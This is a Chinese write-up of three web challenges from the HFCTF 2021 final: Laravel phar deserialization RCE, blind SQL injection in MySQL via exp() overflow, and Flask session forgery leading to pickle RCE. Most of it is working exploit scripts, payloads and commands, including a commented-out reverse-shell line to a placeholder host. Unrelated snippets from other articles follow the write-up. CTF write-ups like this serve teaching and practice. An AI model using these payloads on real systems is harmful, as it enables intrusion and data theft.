[HFCTF 2021] final web复现

news2024/11/25 14:41:18

我坐着什么都没做,因为我有太多事情要做.......😭 (bushi)

(1) tinypng(Laravel rce+ phar反序列化)

是一个laravel框架项目  看一下路由 

<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

use App\Http\Controllers\IndexController;
use App\Http\Controllers\ImageController;

Route::get('/', function () {
    return view('upload');
});
Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');

//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');

/ 和 /image分别指向 IndexControllerImageController

GET / 访问到一个上传文件的界面

看一下 控制器函数IndexController.fileUpload()

class IndexController extends Controller
{
    public function fileUpload(Request $req)
    {
        $allowed_extension = "png";
        $extension = $req->file('file')->clientExtension();
        if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
        {
            $content = $req->file('file')->get();
            if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
                $error = 'Don\'t do that, please';
                return back()
                    ->withErrors($error);
            }else {
                $fileName = \md5(time()) . '.png';
                $path = $req->file('file')->storePubliclyAs('uploads', $fileName);
                echo "path: $path";
                return back()
                    ->with('success', 'File has been uploaded.')
                    ->with('file', $path);
            }
        } else{
            $error = 'Don\'t do that, please';
            return back()
                ->withErrors($error);
        }

    }
}

对post上传的文件进行处理,限制了  后缀和内容,文件必须是png,内容不得有 <? 、php、HALT_COMPILER  过滤了一个 phar文件里的文件头,那这道题可能考的就是phar反序列化

需要注意的一点是:这里的uploads目录在 ../storage/app/uploads

我们上传的文件保存路径实际上为../storage/app/uploads/xxx.png 访问的时候不能直接 uploads/xxx.png

再访问一下/image

可以输入一个png文件路径,看一下控制器函数 ImageController.handle()函数

class ImageController extends Controller
{
    public function handle(Request $request)
    {
        $source = $request->input('image');
        if(empty($source)){
            return view('image');
        }
        $temp = explode(".", $source);
        $extension = end($temp);
        if ($extension !== 'png') {
            $error = 'Don\'t do that, pvlease';
            return back()
                ->withErrors($error);
        } else {
            $image_name = md5(time()) . '.png';
            $dst_img = '/var/www/html/' . $image_name;
            $percent = 1;
            (new imgcompress($source, $percent))->compressImg($dst_img);
            return back()->with('image_name', $image_name);
        }
    }
}

 可以输入一个 image参数,它回检测image参数是否以 .png结尾,然后 调用 imgcompress()

跟进去看一下 imgcompress类 的 compressImg()函数

    public function compressImg($saveName)
    {
        $this->_openImage();
        $this->_saveImage($saveName);
    }

它会调用自己的 openImage()  再跟进看一下 openImage()函数 

 它会调用getimagesize()  而参数 $this0>src 就是 我们传参image赋给的 $source ,因此这里存在phar反序列化触发点。

那么解决这道题思路就有了:

  • 根据Laravel框架对应版本的POC链,生成一个phar文件
  • 将phar文件 tar或gz压缩 绕过文件内容过滤,修改后缀为.png上传 绕过文件后缀限制
  • /image路由的input函数触发

这里直接使用 phpggc去生成链子 phar文件

./phpggc Laravel/RCE7 "system" "cat /flag" --phar phar > exp.phar
gzip exp.phar
mv exp.phar.gz exp.png
# 可以cat exp.phar 看看是否出错,出错的话 exp.phar文件内容为错误信息

注意 /image只接受get请求   不可在输入框输入访问

Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');

/image?image=phar://../storage/app/uploads/96f882fef7d2760e2ba97ecf386852ea.png

(2) hatenum(exp()溢出盲注)

进入题目  看见一个登录框和注册点

下载源码分析:

index.php

home.php 这里得知  需要admin用户  得到flag

if($_SESSION['username']=='admin'){
	echo file_get_contents('/flag');
}

看一下具体登录和注册的实现代码

<?php
error_reporting(0);
session_start();
class User{
	public $host = "localhost";
	public $user = "root";
	public $pass = "123456";
	public $database = "ctf";
	public $conn;
	function __construct(){
		$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
		if(mysqli_connect_errno()){
			die('connect error');
		}
	}
	function find($username){
		$res = $this->conn->query("select * from users where username='$username'");
		if($res->num_rows>0){
			return True;
		}
		else{
			return False;
		}

	}
	function register($username,$password,$code){
		if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
			return True;
		}
		else{
			return False;
		}
	}
	function login($username,$password,$code){
		$res = $this->conn->query("select * from users where username='$username' and password='$password'");
		if($this->conn->error){
			return 'error';
		}
		else{
			$content = $res->fetch_array();
			if($content['code']===$_POST['code']){
				$_SESSION['username'] = $content['username'];
				return 'success';
			}
			else{
				return 'fail';
			}
		}

	}
}

function sql_waf($str){
	if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
		die('Hack detected');
	}
}

function num_waf($str){
	if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
		die('Huge num detected');
	}
}

function array_waf($arr){
	foreach ($arr as $key => $value) {
		if(is_array($value)){
			array_waf($value);
		}
		else{
			sql_waf($value);
			num_waf($value);
		}
	}
}
  • 注册功能:会先通过 $User->find()检查 用户是否存在,不存在的话,调用 $User->register() 去注册 
    insert into users (username,password,code) values ('$username','$password','$code')
  • 登录功能:通过$User->login() 执行
    select * from users where username='$username' and password='$password' 查询用户账号和密码,比对成功的话,再 $content['code']===$_POST['code'] 判断用户的二级验证码与输入的code是否一致

waf过滤了很多,' " 被过滤了

'union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i'

那我们怎么逃逸出来执行命令?

我们可以通过\转义单引号结合 #注释掉最后一个单引号 让一部分语句逃逸出来

比如:

执行登录执行语句: select * from users where username='username' and password='password'

我们post传入:username=\              password=||if(sql语句)#

此时的语句为 select * from users where username='\' and password=' ||if(....)#';

\' and password= 是一个整体

此时语句为  select * from users where username='xxx' ||()&&()&&() #';

 如下图 我们可以利用 mysql中 exp表达式 来盲注

 我们可以通过 exp(710-表达式) 来判断表达式的真假,真 则 exp(709) 返回fail  假 则 exp(710) 会报错 返回 error   根据回显 逐个字符爆破出code的值

过滤了select,不能另外执行查询语句了  过滤了sleep|benchmark 无法使用时间盲注

过滤了substr|right|left|mid 不能获取单个字符  过滤了,不能执行多参数的函数

过滤了空格 这个我们可以用chr(0x0b)或chr(0x0c) 绕过

这里我们 可以使用正则匹配比较字符串获取code, 虽然环境过滤了regexp但是我们可以使用likerlike正则匹配

因为同时过滤了单双引号,所以我们要匹配的字符串可以用AsciiHex的形式代替(admin为0x61646d696e)

import requests as r
url = "http://8e86243e-e80b-495b-b68e-4101c8cbf511.node4.buuoj.cn:81/"

data = {
    "username":"\\",
    "password":"||1&&exp(710)#",
    "code":"1"
}

req = r.post(url+"/login.php",data=data,allow_redirects=False)

print(req.text)
#error
#exp(709) login fail

 poc如下:

import requests as r
import string

def str2hex(raw):
    ret = '0x'
    for i in raw:
        ret += hex(ord(i))[2:].rjust(2, '0')
    return ret

url = "http://1ce80654-530b-4dff-9863-04cd840267f1.node4.buuoj.cn:81"
dic = string.ascii_letters + string.digits + "$"

#pre=''
#tmp='^'  #匹配前面部分
end=''
tmp = '$'

for i in range(24):
    for ch in dic:
        #pre_payload = f"||1&& username rlike 0x61646d69 && exp(710-(code rlike {str2hex(tmp+ch)}))#"
        end_payload = f"||1&& username rlike 0x61646d69 && exp(710-(code rlike {str2hex(ch+tmp)}))#"
        payload = end_payload.replace(" ",chr(0x0b))
        data = {
            "username":"\\",
            "password":payload,
            "code":"1"
        }

        req = r.post(url+"/login.php",data=data,allow_redirects=False)
        if "fail" in req.text:
            #pre += ch
            #print(tmp+ch,pre)
            end = ch + end
            print(ch+tmp,end)
            if len(tmp)==3:
                #tmp = tmp[1:] + ch
                tmp =  ch + tmp[:-1]
            else:
                tmp = ch + tmp
            break

 从头开始匹配的话 只能匹配到这一部分 erghruigh2uygh 后面就开始一直重复uygh2

^e e
^er er
^erg erg
ergh ergh
rghr erghr
ghru erghru
hrui erghrui
ruig erghruig
uigh erghruigh
igh2 erghruigh2
gh2u erghruigh2u
h2uy erghruigh2uy
2uyg erghruigh2uyg
uygh erghruigh2uygh
ygh2 erghruigh2uygh2
gh2u erghruigh2uygh2u
h2uy erghruigh2uygh2uy
2uyg erghruigh2uygh2uyg
uygh erghruigh2uygh2uygh
ygh2 erghruigh2uygh2uygh2

需要我们再执行依次从尾到头匹配, 使用$从尾开始匹配确实可以得到后半部分的code

g$ g
ig$ ig
2ig$ 2ig
32ig 32ig
u32i u32ig
Iu32 Iu32ig
uIu3 uIu32ig
3uIu 3uIu32ig
23uI 23uIu32ig
h23u h23uIu32ig
gh23 gh23uIu32ig
igh2 igh23uIu32ig
uigh uigh23uIu32ig
ruig ruigh23uIu32ig
hrui hruigh23uIu32ig
ghru ghruigh23uIu32ig
Rghr Rghruigh23uIu32ig
eRgh eRghruigh23uIu32ig

 题目中又对hex长度进行了限制,所以每三位推一位,最开始三位通过 ^$ 的方式来匹配

正着倒着结合一下就能拿到23位的code erghruigh2uygh23uiu32ig

再次发包 传入正确的code 得到 flag

import requests as r

url = "http://1ce80654-530b-4dff-9863-04cd840267f1.node4.buuoj.cn:81"

data = {
            "username":"admin\\",
            "password":"||1#",
            "code":"erghruigh2uygh23uiu32ig"
        }
res = r.post(url=url+"/login.php",data=data)
print(res.text)

(3) easyflask(flask-session伪造&pickle反序列化)

/file?file=   存在任意文件泄露

访问 /file?file=/app/source  得到源码:

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

典型的 flask session伪造,以及这道题可以利用session 进行pickle反序列化

看一下我们普通的session格式

代码里 /file路由 限制了 读取文件不能是目录  不能有 .py  .sh ..  和flag

没有过滤 /proc/self/environ

访问 /file?file=/proc/self/environ 得到SECRET_KEY:secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

利用 SECRET_KEY 进行 session伪造,构造 session的键u  以及 键u里的键b 为恶意的序列化数据

 修改User类 里面加上 __redece__函数  内容为命令执行代码

import os
import pickle
import base64
 
 
User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system,("cat /flag > /tmp/a",))
    #'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/your_ip/port 0>&1'",))
})
 
u = pickle.dumps(User())
print(base64.b64encode(u))

得到gASVLQAAAAAAAACMAm50lIwGc3lzdGVtlJOUjBVjYXQgL2ZsYWcgPiAvdG1wL2ZsYWeUhZRSlC4=

但是发现打不通 页面响应一直是 uuh?构造传入的session在执行后面代码时抛异常了

看其他师傅博客得知:原因是windows和linux使用pickie.loads()反序列化的内部过程不太一样, 所以也就导致了在windows下可以通过loads()执行的内容放到linux下使用loads()加载就会失败, 所以我们需要把代码放到 linux环境里跑 得到一个base64

然后我们 通过 github上的 flask session-manager脚本 生成session 

root@VM-8-16-ubuntu:~/CTF/python/flask-session-cookie-manager# vi 1.py
root@VM-8-16-ubuntu:~/CTF/python/flask-session-cookie-manager# python 1.py
b'gASVLQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBJjYXQgL2ZsYWcgPiAvdG1wL2GUhZRSlC4='
root@VM-8-16-ubuntu:~/CTF/python/flask-session-cookie-manager# python3 flask_session_cookie_manager3.py encode -s "glzjin22948575858jfjfjufirijidjitg3uiiuuh" -t "{'u':{'b':'gASVLQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBJjYXQgL2ZsYWcgPiAvdG1wL2GUhZRSlC4='}}"
eyJ1Ijp7ImIiOiJnQVNWTFFBQUFBQUFBQUNNQlhCdmMybDRsSXdHYzNsemRHVnRsSk9VakJKallYUWdMMlpzWVdjZ1BpQXZkRzF3TDJHVWhaUlNsQzQ9In19.ZJwy2Q.LDtMnGgpQ28wGdtV6j3NkFKgaBs

 然后访问 /file?file=/tmp/a  去读取a文件内容即可

import requests as r
url = "http://300984b7-0182-4a2b-a10a-2b9cc797824a.node4.buuoj.cn:81"
cookie = "eyJ1Ijp7ImIiOiJnQVNWTFFBQUFBQUFBQUNNQlhCdmMybDRsSXdHYzNsemRHVnRsSk9VakJKallYUWdMMlpzWVdjZ1BpQXZkRzF3TDJHVWhaUlNsQzQ9In19.ZJwy2Q.LDtMnGgpQ28wGdtV6j3NkFKgaBs"

headers={
	"Cookie":"session={0}".format(cookie)
}
res = r.get(url=url+"/admin",headers=headers)
res = r.get(url=url+"/file?file=/tmp/a")
print(res.text)

也可以 利用flask的代码在本地帮我们自动生成cookie 可以参考eki师傅写的脚本

import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import requests

url = "http://300984b7-0182-4a2b-a10a-2b9cc797824a.node4.buuoj.cn:81"

#url = "http://127.0.0.1:80"

def get_secret_key():
    target = url + "/file?file=/proc/self/environ"
    r = requests.get(target)
    #print(r.text)
    key = re.findall('key=(.*?).OLDPWD',r.text)
    return str(key[0])

secret_key = get_secret_key()
#secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

print(secret_key)


class FakeApp:
    secret_key = secret_key

class User(object):
    def __reduce__(self):
        import os
        cmd = "cat /flag > /tmp/b"
        return (os.system,(cmd,))

exp = {
    "b":base64.b64encode(pickle.dumps(User()))
}

#pickletools.dis(pickle.dumps(User()))
#print(pickletools.dis(b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'))

fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    #{'u': b'\x80\x03cprogram_main_app@@@\nUser\nq\x01)\x81q\x01.'}
    #{'u':b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94.'}
    {'u':exp}
)
print(cookie)

headers = {
    "Accept":"*/*",
    "Cookie":"session={0}".format(cookie)
}

req = requests.get(url+"/admin",headers=headers)

#print(req.text)

req = requests.get(url+"/file?file=/tmp/b",headers=headers)

print(req.text)

 注:这个代码也得在linux下才可以,在windows下不知道为什么会disallow

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/724912.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Jpa列表查询@OneToOne,@OneToMany出现多条sql(N+1)解决办法

最近用了jpa的OneToOne&#xff0c;OneToMany管理对象&#xff0c;但是在查询分页列表&#xff0c;列表的过程中触发了N1的sql查询&#xff0c;这里我用了NamedEntityGraphs去解决 实体关系 1.父实体 /*** 规则配置** author lyj* date 2023-07-06*/ Getter Setter Entity T…

计算机体系结构基础知识介绍之缓存性能的十大进阶优化之减少命中时间和流水线访问和多组缓存增加带宽(三)

优化二&#xff1a;减少命中时间的方式预测 路预测是一种高速缓存优化技术&#xff0c;它在高速缓存中保存额外的位来预测下一次高速缓存访问的路&#xff08;或者组内的块&#xff09;。这种预测可以提前设置多路选择器来选择期望的块&#xff0c;并且在那个时钟周期内&#…

ModaHub魔搭社区:ChatGLM 集成进LangChain的教程

目录 接入自己的LLM 搭建ChatGLM的api 封装ChatGLM的LLM 测试 总结 参考 最新一段时间一直在学习LangChain相关的文档&#xff0c;发现LangChain提供了非常丰富的生态&#xff0c;并且也可以让业务非常方便的封装自己的工具&#xff0c;接入到LangcChain的生态中&#xf…

Hystrix前言--什么是服务雪崩

什么是服务雪崩 这是在高并发的前提下&#xff0c;比如A、B只有100个线程&#xff0c;都在做这样一个操作&#xff0c;100个线程不能回收&#xff0c;当第101个客户来访问的时候直接报503。 服务雪崩的本质&#xff1a;线程没有及时回收。 不管是调用成功还是失败&#xff0c;只…

干货整理,Selenium 自动化测试常见异常问题 +解决方法(详细)

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 异常1&#xff1a…

SpringIoc容器之Aware | 京东云技术团队

1 前言 Aware是Spring提供的一个标记超接口&#xff0c;指示bean有资格通过回调样式的方法由Spring容器通知特定的框架对象&#xff0c;以获取到容器中特有对象的实例的方法之一。实际的方法签名由各个子接口确定&#xff0c;但通常只包含一个接受单个参数的void返回方法。 2…

【接口测试】Postman —— 接口测试知识准备

1.0 前言 ​应用程序编程接口&#xff08;Application Programming Interface, API&#xff09;是这些年来最流行的技术之一&#xff0c;强大的Web应用程序和领先的移动应用程序都离不开后端强大的API。API技术的应用给系统开发带来了便利&#xff0c;但也对测试人员提出了更高…

[JAVA数据结构]HashMap

目录 1.HashMap 1.1Map的常用方法 1.2HashMap的使用案例 1.HashMap 基于哈希表的实现的Map接口。 Map底层结构HashMap底层结构哈希桶插入/删除/查找时间复杂度O(1)是否有序无序线程安全不安全插入/删除/查找区别通过哈希函数计算哈希地址比较与覆写自定义类型需要覆写equal…

leetcode.1504. 统计全 1 子矩形(单调栈-java)

统计全 1 子矩形 leetcode.1504. 统计全 1 子矩形题目描述单调栈解题代码演示 单调栈专题 leetcode.1504. 统计全 1 子矩形 来源&#xff1a;力扣&#xff08;LeetCode&#xff09; 链接&#xff1a;https://leetcode.cn/problems/count-submatrices-with-all-ones 题目描述 给…

pytest之配置文件pytest.ini

前言&#xff1a; pytest.ini文件是pytest的主配置文件&#xff0c;可以改变pytest的运行方式&#xff0c;它是一个固定的文件pytest.ini文件&#xff0c;读取配置信息&#xff0c;按指定的方式去运行。 pytest.ini文件的位置一般放在项目的根目录下&#xff0c;不能随便放&a…

Vant入门介绍

Vant 介绍 Vant是有赞开源的一套基于Vue2.0的Mobile组件库。Vant 是一套轻量、可靠的移动端组件库。通过 Vant&#xff0c;可以搭建出风格统一的&#xff0c;提升开发效率。通过Vant,可以搭建出风格统一的,提升开发效率。目前已有近50个组件,这些组件被广泛使用于有赞的各个移…

LVS-DR排错思路

一.LVS-DR实验排错思路 1.案例架构图 DR服务器&#xff1a;192.168.27.11 web服务器1&#xff1a;192.168.27.12 web服务器2&#xff1a;192.168.27.13 vip&#xff1a;192.168.27.180 客户端&#xff1a;192.168.27.2 1&#xff1a;配置负载调度器&#xff1a;&#xff…

【集群】脑裂是什么?Zookeeper是如何解决的?

文章目录 什么是脑裂Zookeeper集群中的脑裂场景过半机制 什么是脑裂 脑裂(split-brain)就是“大脑分裂”&#xff0c;也就是本来一个“大脑”被拆分了两个或多个“大脑”&#xff0c;我们都知道&#xff0c;如果一个人有多个大脑&#xff0c;并且相互独立的话&#xff0c;那么…

[HDCTF2019]MFC

前言 mfc逆向&#xff0c;有一个VM壳一看到它就头疼&#xff0c;好在这道题用不到&#xff0c;可以直接通过xspy获取mfc自定义消息 分析 工具下载&#xff1a; https://bbs.kanxue.com/thread-170033.htm 开始时完全没有头绪&#xff0c;有虚拟壳&#xff0c;用ida打开也看…

AMEYA360:Panasonic松下HF系列压敏电阻器

Panasonic HF系列压敏电阻器符合AEC-Q200标准&#xff0c;最大允许额定电压为16VDC&#xff0c;钳位电压高达43A。这些紧凑型SMD压敏电阻器适合用于汽车应用&#xff0c;采用模制结构&#xff0c;因此能够耐受很强的“焊接热冲击”。这些压敏电阻器符合ISO7637-2和ISO16750-2负…

迪赛智慧数——饼图(玫瑰饼图):抑郁症发病群体年龄

效果图 痛心&#xff0c;震惊了全网&#xff0c;著名歌手李玟&#xff0c;抑郁症自杀离世&#xff01; 为什么看起来阳光开朗的人&#xff0c;也会得抑郁症&#xff1f;据数据调查显示&#xff0c;15-30岁为抑郁症的高发年纪&#xff0c;由于思想不够成熟&#xff0c;经验少&a…

QT开发技巧之QComboBox通过qss设置item高度,增加间隔

1.问题描述 QComboBox默认的下拉item间距太小&#xff0c;字挤在一起不好看&#xff0c;直接qss设置item高度但是没效果 2.解决后效果 可通过qss设置item的最小高度&#xff0c;增加间距&#xff0c;不同字体大小的combobox都能使用&#xff0c;简单方便 3.代码实现 &#xf…

葡萄牙语翻译,北京哪个公司比较好?

近年来&#xff0c;随着中国与各葡语系国家&#xff0c;特别是与巴西经贸、科技、文化交流的不断扩大&#xff0c;葡萄牙语翻译的需求也越来越大&#xff0c;但是专业葡语翻译人才紧缺。那么&#xff0c;如何做好葡萄牙语翻译&#xff0c;北京葡语翻译公司哪家好&#xff1f; 我…

分布式消息服务设计

分布式消息服务设计 背景 为了解决当A系统的一个“操作”需要发送一个通知&#xff08;生产者&#xff09;&#xff0c;由关心这个操作的业务&#xff08;消费者&#xff09;订阅消息并处理时&#xff0c;实现业务解耦&#xff0c;并适合分布式。本文主要讲解以消息中间件Rab…

Debug_性能分析工具_Perf +

目录 1. perf 作用 2. perf 安装 3. perf 使用示例 3.1 耗时统计&#xff0c;画出火焰图 1. 下载绘制火焰图的开源pl代码 2. 执行以下命令 3. 用浏览器打开svg文件&#xff0c;看当前进程各子模块耗时占比 1. perf 作用 Perf 是Linux kernel自带的系统性能优化工具。 P…